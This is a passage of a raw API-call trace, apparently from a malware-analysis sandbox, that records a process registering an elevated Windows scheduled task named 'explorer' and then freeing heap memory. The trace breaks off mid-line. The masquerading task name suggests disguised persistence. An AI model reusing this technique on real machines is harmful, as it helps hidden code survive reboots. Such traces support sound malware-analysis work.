IUnknown:QueryInterface (in: This=0x2159bf15de0, riid=0x7ff685138a30*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x23d6e7ca10 | out: ppvObject=0x23d6e7ca10*=0x2159bf15de0) returned 0x0 [0118.158] IUnknown:Release (This=0x2159bf15de0) returned 0x2 [0118.158] _vsnwprintf (in: _Buffer=0x23d6e7c960, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x23d6e7c938 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0118.158] ITrigger:put_StartBoundary (This=0x2159bf15de0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0118.158] lstrlenW (lpString="") returned 0 [0118.158] lstrlenW (lpString="") returned 0 [0118.158] lstrlenW (lpString="") returned 0 [0118.158] lstrlenW (lpString="") returned 0 [0118.158] IUnknown:Release (This=0x2159bf15de0) returned 0x1 [0118.158] IUnknown:Release (This=0x2159bf15c00) returned 0x1 [0118.158] ITaskDefinition:get_Settings (in: This=0x2159bf158b0, ppSettings=0x23d6e7cec0 | out: ppSettings=0x23d6e7cec0*=0x2159bf15a80) returned 0x0 [0118.159] lstrlenW (lpString="") returned 0 [0118.159] IUnknown:Release (This=0x2159bf15a80) returned 0x3 [0118.159] GetLocalTime (in: lpSystemTime=0x23d6e7cd78 | out: lpSystemTime=0x23d6e7cd78*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x29, wMilliseconds=0x216)) [0118.159] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0118.159] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x23d6e7cd90, nSize=0x23d6e7cd68 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x23d6e7cd68) returned 0x1 [0118.160] ITaskDefinition:get_RegistrationInfo (in: This=0x2159bf158b0, ppRegistrationInfo=0x23d6e7cd60 | out: ppRegistrationInfo=0x23d6e7cd60*=0x2159bf159c0) returned 0x0 [0118.160] IRegistrationInfo:put_Author (This=0x2159bf159c0, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0118.160] _vsnwprintf (in: _Buffer=0x23d6e7cd90, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x23d6e7cd28 | out: _Buffer="2023-09-19T17:15:41") returned 19 [0118.160] IRegistrationInfo:put_Date (This=0x2159bf159c0, Date="2023-09-19T17:15:41") returned 0x0 [0118.160] IUnknown:Release (This=0x2159bf159c0) returned 0x1 [0118.160] malloc (_Size=0x18) returned 0x2159bf15f00 [0118.160] free (_Block=0x2159bf15f00) [0118.160] lstrlenW (lpString="") returned 0 [0118.160] ITaskDefinition:get_Principal (in: This=0x2159bf158b0, ppPrincipal=0x23d6e7cf28 | out: ppPrincipal=0x23d6e7cf28*=0x2159bf15c70) returned 0x0 [0118.160] IPrincipal:put_RunLevel (This=0x2159bf15c70, RunLevel=1) returned 0x0 [0118.161] IUnknown:Release (This=0x2159bf15c70) returned 0x1 [0118.161] malloc (_Size=0x18) returned 0x2159bf15f00 [0118.161] ITaskFolder:RegisterTaskDefinition (in: This=0x2159bf15830, Path="explorer", pDefinition=0x2159bf158b0, flags=6, UserId=0x23d6e7cfd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x23d6e7cfb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x23d6e7cff0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x23d6e7cf90 | out: ppTask=0x23d6e7cf90*=0x2159bf16fd0) returned 0x0 [0118.740] free (_Block=0x2159bf15f00) [0118.740] _memicmp (_Buf1=0x2159bc146e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.741] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2159bc1ba50, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0118.741] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0118.741] GetProcessHeap () returned 0x2159bc10000 [0118.741] GetProcessHeap () returned 0x2159bc10000 [0118.741] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1aa30) returned 1 [0118.741] GetProcessHeap () returned 0x2159bc10000 [0118.741] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1aa30) returned 0xe [0118.741] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1aa30) returned 1 [0118.741] GetProcessHeap () returned 0x2159bc10000 [0118.741] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x82) returned 0x2159bc2f6b0 [0118.741] _vsnwprintf (in: _Buffer=0x23d6e7d640, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x23d6e7ced8 | out: _Buffer="SUCCESS: The scheduled task \"explorer\" has successfully been created.\n") returned 70 [0118.741] __iob_func () returned 0x7ffa7941e210 [0118.741] _fileno (_File=0x7ffa7941e240) returned -2 [0118.741] _errno () returned 0x2159bf10840 [0118.741] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0118.741] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0118.741] lstrlenW (lpString="SUCCESS: The scheduled task \"explorer\" has successfully been created.\n") returned 70 [0118.741] GetConsoleOutputCP () returned 0x0 [0118.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"explorer\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0118.742] GetConsoleOutputCP () returned 0x0 [0118.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"explorer\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"explorer\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0118.742] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 70 [0118.742] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0118.742] IUnknown:Release (This=0x2159bf16fd0) returned 0x0 [0118.742] TaskScheduler:IUnknown:Release (This=0x2159bf158b0) returned 0x0 [0118.742] TaskScheduler:IUnknown:Release (This=0x2159bf15830) returned 0x0 [0118.742] TaskScheduler:IUnknown:Release (This=0x2159bf156e0) returned 0x0 [0118.743] lstrlenW (lpString="") returned 0 [0118.743] GetProcessHeap () returned 0x2159bc10000 [0118.743] GetProcessHeap () returned 0x2159bc10000 [0118.743] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1ab90) returned 1 [0118.743] GetProcessHeap () returned 0x2159bc10000 [0118.743] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1ab90) returned 0x1fc [0118.744] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1ab90) returned 1 [0118.744] GetProcessHeap () returned 0x2159bc10000 [0118.744] GetProcessHeap () returned 0x2159bc10000 [0118.744] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1a850) returned 1 [0118.744] GetProcessHeap () returned 0x2159bc10000 [0118.744] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1a850) returned 0x16 [0118.744] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1a850) returned 1 [0118.744] GetProcessHeap () returned 0x2159bc10000 [0118.744] GetProcessHeap () returned 0x2159bc10000 [0118.744] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1a8f0) returned 1 [0118.744] GetProcessHeap () returned 0x2159bc10000 [0118.744] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1a8f0) returned 0x18 [0118.744] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1a8f0) returned 1 [0118.744] GetProcessHeap () returned 0x2159bc10000 [0118.744] GetProcessHeap () returned 0x2159bc10000 [0118.744] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b470) returned 1 [0118.744] GetProcessHeap () returned 0x2159bc10000 [0118.744] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b470) returned 0x20 [0118.745] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b470) returned 1 [0118.745] GetProcessHeap () returned 0x2159bc10000 [0118.745] GetProcessHeap () returned 0x2159bc10000 [0118.745] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc14230) returned 1 [0118.745] GetProcessHeap () returned 0x2159bc10000 [0118.745] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc14230) returned 0xa0 [0118.745] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc14230) returned 1 [0118.745] GetProcessHeap () returned 0x2159bc10000 [0118.745] GetProcessHeap () returned 0x2159bc10000 [0118.745] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc147f0) returned 1 [0118.745] GetProcessHeap () returned 0x2159bc10000 [0118.745] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc147f0) returned 0x18 [0118.745] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc147f0) returned 1 [0118.745] GetProcessHeap () returned 0x2159bc10000 [0118.746] GetProcessHeap () returned 0x2159bc10000 [0118.746] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b410) returned 1 [0118.746] GetProcessHeap () returned 0x2159bc10000 [0118.746] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b410) returned 0x20 [0118.746] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b410) returned 1 [0118.746] GetProcessHeap () returned 0x2159bc10000 [0118.746] GetProcessHeap () returned 0x2159bc10000 [0118.746] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1c250) returned 1 [0118.746] GetProcessHeap () returned 0x2159bc10000 [0118.746] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1c250) returned 0x3a [0118.747] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1c250) returned 1 [0118.747] GetProcessHeap () returned 0x2159bc10000 [0118.747] GetProcessHeap () returned 0x2159bc10000 [0118.747] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1a9f0) returned 1 [0118.747] GetProcessHeap () returned 0x2159bc10000 [0118.747] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1a9f0) returned 0x18 [0118.747] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1a9f0) returned 1 [0118.747] GetProcessHeap () returned 0x2159bc10000 [0118.747] GetProcessHeap () returned 0x2159bc10000 [0118.747] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b4d0) returned 1 [0118.747] GetProcessHeap () returned 0x2159bc10000 [0118.747] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b4d0) returned 0x20 [0118.748] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b4d0) returned 1 [0118.748] GetProcessHeap () returned 0x2159bc10000 [0118.748] GetProcessHeap () returned 0x2159bc10000 [0118.748] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1c160) returned 1 [0118.748] GetProcessHeap () returned 0x2159bc10000 [0118.748] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1c160) returned 0x3c [0118.748] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1c160) returned 1 [0118.749] GetProcessHeap () returned 0x2159bc10000 [0118.749] GetProcessHeap () returned 0x2159bc10000 [0118.749] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1a7f0) returned 1 [0118.749] GetProcessHeap () returned 0x2159bc10000 [0118.749] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1a7f0) returned 0x18 [0118.749] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1a7f0) returned 1 [0118.749] GetProcessHeap () returned 0x2159bc10000 [0118.749] GetProcessHeap () returned 0x2159bc10000 [0118.749] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18b30) returned 1 [0118.749] GetProcessHeap () returned 0x2159bc10000 [0118.749] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18b30) returned 0x20 [0118.749] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18b30) returned 1 [0118.749] GetProcessHeap () returned 0x2159bc10000 [0118.749] GetProcessHeap () returned 0x2159bc10000 [0118.749] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1ab10) returned 1 [0118.749] GetProcessHeap () returned 0x2159bc10000 [0118.749] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1ab10) returned 0xe [0118.749] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1ab10) returned 1 [0118.750] GetProcessHeap () returned 0x2159bc10000 [0118.750] GetProcessHeap () returned 0x2159bc10000 [0118.750] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1a8d0) returned 1 [0118.750] GetProcessHeap () returned 0x2159bc10000 [0118.750] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1a8d0) returned 0x18 [0118.750] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1a8d0) returned 1 [0118.750] GetProcessHeap () returned 0x2159bc10000 [0118.750] GetProcessHeap () returned 0x2159bc10000 [0118.750] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18b00) returned 1 [0118.750] GetProcessHeap () returned 0x2159bc10000 [0118.750] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18b00) returned 0x20 [0118.750] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18b00) returned 1 [0118.750] GetProcessHeap () returned 0x2159bc10000 [0118.750] GetProcessHeap () returned 0x2159bc10000 [0118.750] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc19a20) returned 1 [0118.750] GetProcessHeap () returned 0x2159bc10000 [0118.750] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc19a20) returned 0x208 [0118.751] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc19a20) returned 1 [0118.751] GetProcessHeap () returned 0x2159bc10000 [0118.751] GetProcessHeap () returned 0x2159bc10000 [0118.751] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc120f0) returned 1 [0118.751] GetProcessHeap () returned 0x2159bc10000 [0118.751] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc120f0) returned 0x18 [0118.751] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc120f0) returned 1 [0118.751] GetProcessHeap () returned 0x2159bc10000 [0118.751] GetProcessHeap () returned 0x2159bc10000 [0118.751] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18ce0) returned 1 [0118.751] GetProcessHeap () returned 0x2159bc10000 [0118.751] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18ce0) returned 0x20 [0118.752] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18ce0) returned 1 [0118.752] GetProcessHeap () returned 0x2159bc10000 [0118.752] GetProcessHeap () returned 0x2159bc10000 [0118.752] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1ba50) returned 1 [0118.752] GetProcessHeap () returned 0x2159bc10000 [0118.752] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1ba50) returned 0x200 [0118.752] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1ba50) returned 1 [0118.753] GetProcessHeap () returned 0x2159bc10000 [0118.753] GetProcessHeap () returned 0x2159bc10000 [0118.753] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc146e0) returned 1 [0118.753] GetProcessHeap () returned 0x2159bc10000 [0118.753] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc146e0) returned 0x18 [0118.753] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc146e0) returned 1 [0118.753] GetProcessHeap () returned 0x2159bc10000 [0118.753] GetProcessHeap () returned 0x2159bc10000 [0118.753] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18bf0) returned 1 [0118.753] GetProcessHeap () returned 0x2159bc10000 [0118.753] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18bf0) returned 0x20 [0118.753] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18bf0) returned 1 [0118.753] GetProcessHeap () returned 0x2159bc10000 [0118.753] GetProcessHeap () returned 0x2159bc10000 [0118.753] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1a9d0) returned 1 [0118.753] GetProcessHeap () returned 0x2159bc10000 [0118.753] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1a9d0) returned 0x14 [0118.753] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1a9d0) returned 1 [0118.754] GetProcessHeap () returned 0x2159bc10000 [0118.754] GetProcessHeap () returned 0x2159bc10000 [0118.754] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc138d0) returned 1 [0118.754] GetProcessHeap () returned 0x2159bc10000 [0118.754] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc138d0) returned 0x18 [0118.754] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc138d0) returned 1 [0118.754] GetProcessHeap () returned 0x2159bc10000 [0118.754] GetProcessHeap () returned 0x2159bc10000 [0118.754] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18b90) returned 1 [0118.754] GetProcessHeap () returned 0x2159bc10000 [0118.754] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18b90) returned 0x20 [0118.754] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18b90) returned 1 [0118.754] GetProcessHeap () returned 0x2159bc10000 [0118.754] GetProcessHeap () returned 0x2159bc10000 [0118.754] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc138f0) returned 1 [0118.754] GetProcessHeap () returned 0x2159bc10000 [0118.754] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc138f0) returned 0x16 [0118.754] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc138f0) returned 1 [0118.755] GetProcessHeap () returned 0x2159bc10000 [0118.755] GetProcessHeap () returned 0x2159bc10000 [0118.755] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc14320) returned 1 [0118.755] GetProcessHeap () returned 0x2159bc10000 [0118.755] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc14320) returned 0x18 [0118.755] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc14320) returned 1 [0118.755] GetProcessHeap () returned 0x2159bc10000 [0118.755] GetProcessHeap () returned 0x2159bc10000 [0118.755] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc18d10) returned 1 [0118.755] GetProcessHeap () returned 0x2159bc10000 [0118.755] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc18d10) returned 0x20 [0118.755] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc18d10) returned 1 [0118.755] GetProcessHeap () returned 0x2159bc10000 [0118.755] GetProcessHeap () returned 0x2159bc10000 [0118.755] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc14a40) returned 1 [0118.755] GetProcessHeap () returned 0x2159bc10000 [0118.755] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc14a40) returned 0x2 [0118.756] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc14a40) returned 1 [0118.756] GetProcessHeap () returned 0x2159bc10000 [0118.756] GetProcessHeap () returned 0x2159bc10000 [0118.756] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc143b0) returned 1 [0118.756] GetProcessHeap () returned 0x2159bc10000 [0118.756] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc143b0) returned 0x20 [0118.756] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc143b0) returned 1 [0118.756] GetProcessHeap () returned 0x2159bc10000 [0118.756] GetProcessHeap () returned 0x2159bc10000 [0118.756] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc14400) returned 1 [0118.756] GetProcessHeap () returned 0x2159bc10000 [0118.756] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc14400) returned 0x20 [0118.757] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc14400) returned 1 [0118.757] GetProcessHeap () returned 0x2159bc10000 [0118.757] GetProcessHeap () returned 0x2159bc10000 [0118.757] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc14430) returned 1 [0118.757] GetProcessHeap () returned 0x2159bc10000 [0118.757] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc14430) returned 0x20 [0118.757] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc14430) returned 1 [0118.757] GetProcessHeap () returned 0x2159bc10000 [0118.757] GetProcessHeap () returned 0x2159bc10000 [0118.757] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc13fa0) returned 1 [0118.758] GetProcessHeap () returned 0x2159bc10000 [0118.758] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc13fa0) returned 0x20 [0118.758] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc13fa0) returned 1 [0118.758] GetProcessHeap () returned 0x2159bc10000 [0118.758] GetProcessHeap () returned 0x2159bc10000 [0118.758] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b740) returned 1 [0118.758] GetProcessHeap () returned 0x2159bc10000 [0118.758] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b740) returned 0x20 [0118.759] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b740) returned 1 [0118.759] GetProcessHeap () returned 0x2159bc10000 [0118.759] GetProcessHeap () returned 0x2159bc10000 [0118.759] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1aab0) returned 1 [0118.759] GetProcessHeap () returned 0x2159bc10000 [0118.759] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1aab0) returned 0xc [0118.759] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1aab0) returned 1 [0118.759] GetProcessHeap () returned 0x2159bc10000 [0118.759] GetProcessHeap () returned 0x2159bc10000 [0118.759] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b920) returned 1 [0118.759] GetProcessHeap () returned 0x2159bc10000 [0118.759] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b920) returned 0x20 [0118.760] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b920) returned 1 [0118.760] GetProcessHeap () returned 0x2159bc10000 [0118.760] GetProcessHeap () returned 0x2159bc10000 [0118.760] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc142e0) returned 1 [0118.760] GetProcessHeap () returned 0x2159bc10000 [0118.760] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc142e0) returned 0x30 [0118.760] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc142e0) returned 1 [0118.760] GetProcessHeap () returned 0x2159bc10000 [0118.760] GetProcessHeap () returned 0x2159bc10000 [0118.760] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b3b0) returned 1 [0118.760] GetProcessHeap () returned 0x2159bc10000 [0118.761] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b3b0) returned 0x20 [0118.761] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b3b0) returned 1 [0118.761] GetProcessHeap () returned 0x2159bc10000 [0118.761] GetProcessHeap () returned 0x2159bc10000 [0118.761] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc13b10) returned 1 [0118.761] GetProcessHeap () returned 0x2159bc10000 [0118.761] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc13b10) returned 0x30 [0118.762] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc13b10) returned 1 [0118.762] GetProcessHeap () returned 0x2159bc10000 [0118.762] GetProcessHeap () returned 0x2159bc10000 [0118.762] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b8c0) returned 1 [0118.762] GetProcessHeap () returned 0x2159bc10000 [0118.762] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b8c0) returned 0x20 [0118.763] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b8c0) returned 1 [0118.764] GetProcessHeap () returned 0x2159bc10000 [0118.764] GetProcessHeap () returned 0x2159bc10000 [0118.764] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1aa50) returned 1 [0118.764] GetProcessHeap () returned 0x2159bc10000 [0118.764] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1aa50) returned 0x16 [0118.764] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1aa50) returned 1 [0118.764] GetProcessHeap () returned 0x2159bc10000 [0118.764] GetProcessHeap () returned 0x2159bc10000 [0118.765] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1b6e0) returned 1 [0118.765] GetProcessHeap () returned 0x2159bc10000 [0118.765] RtlSizeHeap (HeapHandle=0x2159bc10000, Flags=0x0, MemoryPointer=0x2159bc1b6e0) returned 0x20 [0118.766] RtlFreeHeap (HeapHandle=0x2159bc10000, Flags=0x0, BaseAddress=0x2159bc1b6e0) returned 1 [0118.766] GetProcessHeap () returned 0x2159bc10000 [0118.766] GetProcessHeap () returned 0x2159bc10000 [0118.766] HeapValidate (hHeap=0x2159bc10000, dwFlags=0x0, lpMem=0x2159bc1aad0) returned 1 [0118.766] GetProcessHeap () returned 